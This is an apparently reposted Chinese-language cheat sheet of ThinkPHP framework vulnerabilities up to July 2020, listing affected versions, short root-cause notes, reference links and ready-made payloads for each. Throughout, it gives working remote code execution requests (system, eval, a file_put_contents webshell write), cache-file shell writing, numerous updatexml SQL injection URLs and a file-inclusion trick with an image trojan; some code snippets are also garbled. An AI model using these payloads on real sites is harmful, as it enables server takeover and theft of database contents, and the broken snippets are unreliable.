[框架漏洞]Thinkphp系列漏洞【截至2020-07-20】


一、Thinkphp

ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,因為受到眾多開發人員的喜愛,其在市場的應用規模很大,自然也引起了眾多安全人員的注意。因此在這里,對相關漏洞進行歸納和總結。

指紋為:X-Powered-By: ThinkPHP

二、安全漏洞

1.ThinkPHP 5.0.23遠程代碼執行

參考:http://zone.secevery.com/article/1165

  • 介紹:Thinkphp在實現框架中的核心類Request的method方法實現了表單請求偽裝。但由於對$_POST[‘_method’]屬性校驗不嚴格,導致攻擊者可以通過變量覆蓋掉Request類的屬性並結合框架特性實現對任意函數的調用,從而實現遠程代碼執行。
  • 影響版本:THINKPHP 5.0.x-5.0.23
  • 漏洞產生位置:ThinkPHPRequest 類的 method 方法中 (thinkphp/library/think/Request.php)
  • 挖掘方式
  1.  
    Method:POST
  2.  
    url中設置參數s=captcha
  3.  
    body數據:_method=__construct& filter=system&method=get&server[REQUEST_METHOD]=whoami

2.ThinkPHP 5.0.22遠程代碼執行

參考:http://zone.secevery.com/article/1165

  • 介紹:Thinkphp5.x版本(5.0.20)中沒有對路由中的控制器進行嚴格過濾,在存在admin、index模塊、沒有開啟強制路由的條件下(默認不開啟),導致可以注入惡意代碼利用反射類調用命名空間其他任意內置類,完成遠程代碼執行
  • 影響版本:THINKPHP 5.0.5-5.0.22 、THINKPHP 5.1.0-5.1.30
  • 漏洞分析:參考https://www.secpulse.com/archives/93903.html即可
  • 挖掘方式
  1.  
    1.命令執行
  2.  
    ?s=index/think\app/invokefunction&function=call _user_func_array&vars[0]=system&vars[1]=whoami
  3.  
     
  4.  
    2.代碼執行
  5.  
    ?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1
  6.  
     
  7.  
    3.寫入文件
  8.  
    ?s=/index/think\app/invokefunction&function=call _user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>

3.ThinkPHP 2.2任意代碼執行

參考:http://zone.secevery.com/article/1165

  • 影響版本:THINKPHP 2.x-2.2
  • 挖掘方式
  1.  
    / module/action/param1/${phpinfo()}
  2.  
    / module/action/param1/${eval($_POST[1])}
  3.  
    ?s=/abc/abc/abc/${THINK_VERSION}
  4.  
    ?s=/abc/abc/abc/${eval($_POST[1])}

4.ThinkPHP 前台緩存寫shell

參考:https://www.cnblogs.com/-chenxs/p/12593865.html

利用條件:

  1. 開啟緩存功能;
  2. 能夠猜解出緩存文件名(文件名生成有一定規律)
  3. 緩存內容可控或部分可控,即找到寫入的位置(一般與數據庫交互的地方)

 

影響版本:ThinkPHP3.2.3-5.0.10

挖掘方式:主要分為數據交互寫入惡意php語句,觸發緩存數據,訪問緩存文件三步。

tp3.2.3:

  • 找到與數據庫交互的地方,一般是提交post數據的地方,寫入任意php語句如%0d%0aphpinfo();//
  • 緩存文件路徑:/Application/Runtime/Temp
  • 可能緩存文件名:b068931cc450442b63f5b3d276ea4297.php

onethink1.0:

  • thinkphp3開發
  • 緩存文件路徑:/Runtime/Temp/
  • 默認緩存文件名:2bb202459c30a1628513f40ab22fa01a.php

tp5.0.10:

  • 緩存文件路徑:/runtime/cache
  • 如果可能規則命名的md5值:b068931cc450442b63f5b3d276ea4297,那么緩存文件名為:/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
  • 寫入的php語句開頭需要換行,結尾需要注釋掉后面的垃圾數據:換行利用url編碼%0d%0a或者%0a,注釋用 //。例如寫入phpinfo(); 那么應該為:%0d%0aphpinfo();//

5.ThinkPHP 3.2.3/5.1.22 order by注入

漏洞介紹:
該漏洞是因為未正確處理所接收數組類型參數的key,直接拼接到了SQL語句的order by后面,導致漏洞的產生。該漏洞可以獲取數據庫數據,比如用戶賬號密碼,管理后台賬號密碼,交易數據等。漏洞危害為高危。
 
影響版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
 
漏洞分析參考:
https://nosec.org/home/detail/1821.html
 
漏洞復現(內網環境)
在/application/index/controller/文件夾下建立Index.php文件,內容如下:

  1.  
    <?php
  2.  
    namespace app\index\controller;
  3.  
    class Index{
  4.  
    public function index() {
  5.  
    $data=array();
  6.  
    $data['username']=array('eq','admin');
  7.  
    $order=input('get.orderby/a');
  8.  
    $m=db('user')->where($data)->order($order)->find();
  9.  
    Sdump($m);
  10.  
    }
  11.  
    }
  12.  
    ?>


訪問192.168.10.53,選擇對應版本
 
Poc/exp:
3.2.3

?order[updatexml(1,concat(0x3a,user()),1)]=1            


5.1.22 

?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

圖片7.png



6.Thinkphp3.2.3 find/select/delete注入

影響版本
Thinkphp<=3.2.3

漏洞分析參考:
https://www.anquanke.com/post/id/157817
 
漏洞復現(內網環境)
在Application\Home\Controller\IndexController.class.php 添加以下代碼:

  1.  
    <?php
  2.  
    public function test()
  3.  
    {
  4.  
    $id = i('id');
  5.  
    $res = M('user')‐>find($id);
  6.  
    //find() //$res = M('user')‐>delete($id); //delete()
  7.  
    //$res = M('user')‐>select($id); //select()
  8.  
    }


Poc/exp:
針對select() 和find()方法 ,有很多地方可注,這里主要列舉三個table,alias, where,更多還請自行跟蹤一下parseSql的各個parseXXX方法,目測都是可行 的,比如having,group等。
where: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐

alias: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐

table:

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

圖片8.png



而delete()方法的話同樣,這里粗略舉三個例子,table,alias,where,但使用table和alias的時候,同時還必須保證where不為空

where: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

alias: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

table: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1

圖片9.png


 
7.ThinkPHP框架3.2.3 update注入漏洞

影響版本
Thinkphp<=3.2.3
 
漏洞分析參考:
https://www.seebug.org/vuldb/ssvid-97234
 
漏洞復現(內網環境)
在Application/Home/Controller/UserController.class.php添加以下代碼:

  1.  
    <?php
  2.  
     
  3.  
    namespace Home\Controller;
  4.  
    use Think\Controller;
  5.  
     
  6.  
    class UserController extends Controller {
  7.  
     
  8.  
    public function index(){
  9.  
     
  10.  
    $User = M("user");
  11.  
    $user['id'] = I('id');
  12.  
    $data['name'] = I('name');
  13.  
    $data['pass'] = I('pass');
  14.  
    $valu = $User->where($user)->save($data);
  15.  
    var_dump($valu);
  16.  
    }
  17.  
    }
  18.  
     
  19.  
     
  20.  
     


Poc/exp:

/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

圖片10.png

8.ThinkPHP 5.1.7 update注入

漏洞介紹
本次漏洞存在於 Mysql 類的 parseArrayData 方法中由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。
 
影響版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
 
漏洞分析參考:
https://www.freebuf.com/column/206233.html
 
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:

  1.  
    class index
  2.  
    {
  3.  
    public function indx()
  4.  
    {
  5.  
    $password=input('get.pass/a');
  6.  
    db('user')->where(['id'=>1]->update(['pass'=>&password]));
  7.  
    }
  8.  
    }


Poc/exp:

/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1

圖片11.png


 
9.ThinkPHP 5.0.15 insert注入

漏洞介紹
本次漏洞存在於 Builder 類的 parseData 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。
 
影響版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
 
漏洞分析參考:
https://www.freebuf.com/column/205976.html
 
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:

  1.  
    class Index
  2.  
    {
  3.  
    public function index()
  4.  
    {
  5.  
    $username = request()->get('name/a');
  6.  
    db('user')->insert(['name' => $name]);
  7.  
    return 'Update success';
  8.  
    }
  9.  
    }


 Poc/exp:

/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

圖片12.png


 
10.ThinkPHP5 select注入

漏洞介紹
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。
 
影響版本
ThinkPHP5全版本
 
漏洞分析參考:
https://www.freebuf.com/column/206387.html
 
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:

  1.  
    class Index
  2.  
    {
  3.  
    public function index()
  4.  
    {
  5.  
    $name = request()->get('name');
  6.  
    $result = db('user')->where('name','exp',$name)->select();
  7.  
    return 'select success';
  8.  
    }
  9.  
    }


 Poc/exp:

/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#

圖片13.png


 
11.ThinkPHP5.0.10 select注入

漏洞介紹
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句。再一個, Request 類的 filterValue 方法漏過濾 NOT LIKE 關鍵字,最終導致 SQL注入漏洞 的產生。
 
影響版本
ThinkPHP 5.0.10
 
漏洞分析參考:
https://www.freebuf.com/column/206599.html
 
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:

  1.  
    class Index
  2.  
    {
  3.  
    public function index()
  4.  
    {
  5.  
    $username = request()->get('name/a');
  6.  
    $result = db('user')->where(['name' => $name])->select();
  7.  
    var_dump($result);
  8.  
    }
  9.  
    }


Poc/exp:

/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#

圖片14.png


 
12.ThinkPHP Mysql 聚合函數相關方法注入

漏洞介紹
本次漏洞存在於所有 Mysql 聚合函數相關方法。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句,最終導致 SQL注入漏洞 的產生。
 
影響版本 
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
 
漏洞分析參考:
https://www.freebuf.com/column/206599.html
 
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:

  1.  
    class Index
  2.  
    {
  3.  
    public function index()
  4.  
    {
  5.  
    $options = request()->get('options');
  6.  
    $result = db('user')->max($options);
  7.  
    var_dump($result);
  8.  
    }
  9.  
    }


Poc/exp:
不同版本payload需稍作調整
5.0.0~5.0.21 、 5.1.3~5.1.10:

/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23

5.1.11~5.1.25:

  1.  
    /index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
  2.  
     
  3.  
    13.ThinkPHP5文件包含漏洞

漏洞介紹
本次漏洞存在於ThinkPHP模板引擎中,在加載模版解析變量時存在變量覆蓋問題,而且程序沒有對數據進行很好的過濾,最終導致文件包含漏洞的產生。
 
影響版本 
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
 
漏洞分析參考:
https://www.freebuf.com/column/207878.html
 
漏洞復現(內網環境)
在\thinkphp\application\index\controller\Index.php添加以下代碼:

  1.  
    class Index
  2.  
    {
  3.  
    public function index()
  4.  
    {
  5.  
    $this->assign(request()->get());
  6.  
    return $this->fetch(); // 當前模塊/默認視圖目錄/當前控制器(小寫)/當前操作(小寫).html
  7.  
    }
  8.  
    }

創建application/index/view/index/index.html文件,內容隨意(沒有這個模板文件的話,在渲染時程序會報錯),並將圖片馬1.jpg放至public 目錄下(模擬上傳圖片操作)。
 
Poc/exp:

/index.php/index/index/index?cacheFile=1.jpg


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM